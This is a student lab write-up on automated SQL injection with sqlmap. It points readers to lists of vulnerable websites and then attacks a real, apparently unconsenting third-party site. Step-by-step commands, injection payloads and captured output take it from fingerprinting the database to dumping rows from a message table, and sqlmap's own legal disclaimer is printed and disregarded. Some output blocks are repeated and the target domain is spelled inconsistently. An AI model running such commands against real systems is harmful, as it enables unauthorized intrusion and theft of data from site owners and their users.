Practical – 10

Aim: Demonstrate automated SQL injection with Sqlmap.

- Sqlmap Is An Automated Pen Testing Tool. That Automates The Process Of Detecting And Exploiting SQL Injection Flaws And Taking Over Of Databases.
- It Comes With A Powerful Detection Engine, Many Niche Features For The Ultimate Pen Tester And A Broad Range Of Switches Lasting From Database Fingerprinting.
- Over Data Fetching From The Database. This Tool Is Best For Beginners. Who Just Now Entered In Security Field? It Is Easy To Use Tool. This Tool Makes SQL Injection Easy As Compared To Manual SQL Injection.

- **Steps:**

1. We have to find a website which is vulnerable to SQL injection (SQLi) attacks**.** Vulnerability has 2 criteria. Firstly, it has to allow executi on of queries from the url, and secondly, it should show an error for some kind of query or the other. An error is an indication of a SQL vulnerability.
2. After we know that a site is vulnerable, we need to execute a few queries to know what all makes it act in an unexpected manner. Then we should obtain information about SQL version and the number of tables in database and columns in the tables.
3. Finally we have to extract the information from the tables.

- Finding Website which are vulnerable to SQL injection and select any one of them.
- We can find those types of website from below link.

  http://raijee1337.blogspot.in/2015/08/10000-fresh-sqli-vulnerable- websites-list.html
  http://pastebin.com/ATJE7VdZ
- In my case i have selected

  www.clanwillian.info/index.php?id=1
- Now open terminal in kali linux and type following command and heat enter.
  sqlmap -u <URL to inject>
  sqlmap –u **www.clanwillian.info/index.php?id=1**

```
root@divyang:~# sqlmap -u www.clanwilliam.info/index.php?id=1

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 06:47:09
```

- Depending on a lot of factors, sqlmap answered in yes/no. Typing y means yes and n means no. Here are a few typical questions you might come across
  Some message saying that the database is probably M ysql, so should sqlmap skip all other tests Some message asking you whether or not to use the payloads for specific versions of Mysql. The answer depends on the situation. If you are unsure, then its usually better to say yes.

```
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] n
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n]
[06:48:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
```

- **Database**

In this step, we will obtain database name, column names and other useful data from the database.

so first we will get the names of available databases. For this we will add --dbs command. The final result will look like

sqlmap –u **www.clanwillian.info/index.php?id=1 –dbs**

```
root@divyang:~# sqlmap -u www.clanwilliam.info/index.php?id=1 --dbs
        I
    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 06:49:22

[06:49:22] [INFO] resuming back-end DBMS 'mysql'
[06:49:22] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3140=3140

    Type: error-based
```

When applying the quiery we will found below result which shows the name of database.

```
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=1 AND SLEEP(5)
---
[06:49:23] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.6.13
back-end DBMS: MySQL 5.0
[06:49:23] [INFO] fetching database names
[06:49:24] [INFO] the SQL query used returns 2 entries
[06:49:24] [INFO] retrieved: "information_schema"
[06:49:25] [INFO] retrieved: "clanwi_db1"
available databases [2]:
[*] clanwi_db1
[*] information_schema

[06:49:25] [INFO] fetched data logged to text files under '/usr/share/sqlmap/out
put/www.clanwilliam.info'

[*] shutting down at 06:49:25
```

So the two databases are clanwi_db1 and information_ schema

- **Table**

Now we are obviously interested in clanwi_db1 database. Information schema can be thought of as a default table which is present on all your targets, and contains information about structure of databases, tables, etc., but not the kind of information we are looking for.
It can, however, be useful on a number of o, now we will specify the database of interest using -D and tell sqlmap to enlist the tables tables command. The final sqlmap command will be
sqlmap –u **www.clanwillian.info/index.php?id=1 –D** clanwi_db1 --tables

```
root@divyang:~# sqlmap -u www.clanwilliam.info/index.php?id=1 -D clanwi_db1 --ta
bles

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting at 06:51:57

[06:51:57] [INFO] resuming back-end DBMS 'mysql'
[06:51:57] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3140=3140
```

```
[06:52:14] [INFO] retrieved: "tblusage"
Database: clanwi_db1
[21 tables]
+---------------------------------+
| tblbusiness                     |
| tblbusinessevents               |
| tblbusinesspage                 |
| tblbusinessstats                |
| tblbusinessstatsreport          |
| tblbusinessstatsreportfailed    |
| tblbusinessstatsreportprocessed |
| tblbusinesstype                 |
| tblestablishment                |
| tblesttype                      |
| tblevents                       |
| tblmemberusage                  |
| tblmessage                      |
| tblmessagelog                   |
| tblpage                         |
| tblspecials                     |
| tblstats                        |
| tblstatsreport                  |
| tblstatsreportfailed            |
| tblstatsreportprocessed         |
| tblusage                        |
+---------------------------------+
```

Now we have a list of tables. Following the same pattern, we will now get a list of columns.

```
[06:57:42] [INFO] retrieved: "successcount","int(7)"
[06:57:43] [INFO] retrieved: "failcount","int(7)"
Database: clanwi_db1
Table: tblmessage
[11 columns]
+--------------+--------------+
| Column       | Type         |
+--------------+--------------+
| attachments  | longtext     |
| datecreated  | timestamp    |
| datesent     | timestamp    |
| failcount    | int(7)       |
| messagebody  | longtext     |
| mid          | int(7)       |
| recipients   | longtext     |
| sender_id    | int(5)       |
| sent         | varchar(1)   |
| subject      | varchar(256) |
| successcount | int(7)       |
+--------------+--------------+

[06:57:43] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.clanwil
liam.info'

[*] shutting down at 06:57:43

root@divyang:~#
```

Now we have a list of tables. Following the same pattern, we will now get a list of columns.

- **Columns**

Columns Now we will specify the database using columns.

The final command must be something like
sqlmap -u **www.clanwillian.info/index.php?id=1** **–D** clanwi_db1 –T tblmessage --columns

```
root@divyang:~# sqlmap -u www.clanwilliam.info/index.php?id=1 -D clanwi_db1 -T tblmessage --col
umns

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is ill
egal. It is the end user's responsibility to obey all applicable local, state and federal laws.
 Developers assume no liability and are not responsible for any misuse or damage caused by this
 program

[*] starting at 06:57:33

[06:57:34] [INFO] resuming back-end DBMS 'mysql'
[06:57:34] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3140=3140

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1 AND (SELECT 1018 FROM(SELECT COUNT(*),CONCAT(0x7172657071,(SELECT (CASE WHEN
```

```
[06:57:42] [INFO] retrieved: "successcount","int(7)"
[06:57:43] [INFO] retrieved: "failcount","int(7)"
Database: clanwi_db1
Table: tblmessage
[11 columns]
+--------------+--------------+
| Column       | Type         |
+--------------+--------------+
| attachments  | longtext     |
| datecreated  | timestamp    |
| datesent     | timestamp    |
| failcount    | int(7)       |
| messagebody  | longtext     |
| mid          | int(7)       |
| recipients   | longtext     |
| sender_id    | int(5)       |
| sent         | varchar(1)   |
| subject      | varchar(256) |
| successcount | int(7)       |
+--------------+--------------+

[06:57:43] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.clanwil
liam.info'

[*] shutting down at 06:57:43

root@divyang:~#
```

- **Data**

  Now we are having columns so we are now trying to grab the data which are available in the column by applying following command.
  sqlmap -u **www.clanwillian.info/index.php?id=1** **–D** clanwi_db1 –T tblmessage –C attachments,sender_id,subject –dump

```
root@divyang:~# sqlmap -u www.clanwilliam.info/index.php?id=1 -D clanwi_db1 -T tblmessage -C attach
ments,sender_id,subject --dump

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal
. It is the end user's responsibility to obey all applicable local, state and federal laws. Develop
ers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 07:00:04
```

The below picture shows the data which are grabbed from the colums.

```
Database: clanwi_db1
Table: tblmessage
[8 entries]
+-----------+---------------------------------+-------------+
| sender_id | subject                         | attachments |
+-----------+---------------------------------+-------------+
| 1         | Toets boodskap van Member Admin | <blank>     |
| 0         | Test from Admin account         | <blank>     |
| 0         | Test from Admin account #2      | <blank>     |
| 1         | Automotive message              | <blank>     |
| 1         | Shopping member message         | <blank>     |
| 1         | Test message #1 2014/2/11 8h35  | <blank>     |
| 1         | Test message #2 2014/2/11 8h43  | <blank>     |
| 1         | Travel and tourism message 1    | <blank>     |
+-----------+---------------------------------+-------------+

[07:00:14] [INFO] table 'clanwi_db1.tblmessage' dumped to CSV file '/usr/share/sqlmap/output/www.cl
anwilliam.info/dump/clanwi_db1/tblmessage.csv'
[07:00:14] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/www.clanwilliam
.info'

[*] shutting down at 07:00:14

root@divyang:~#
```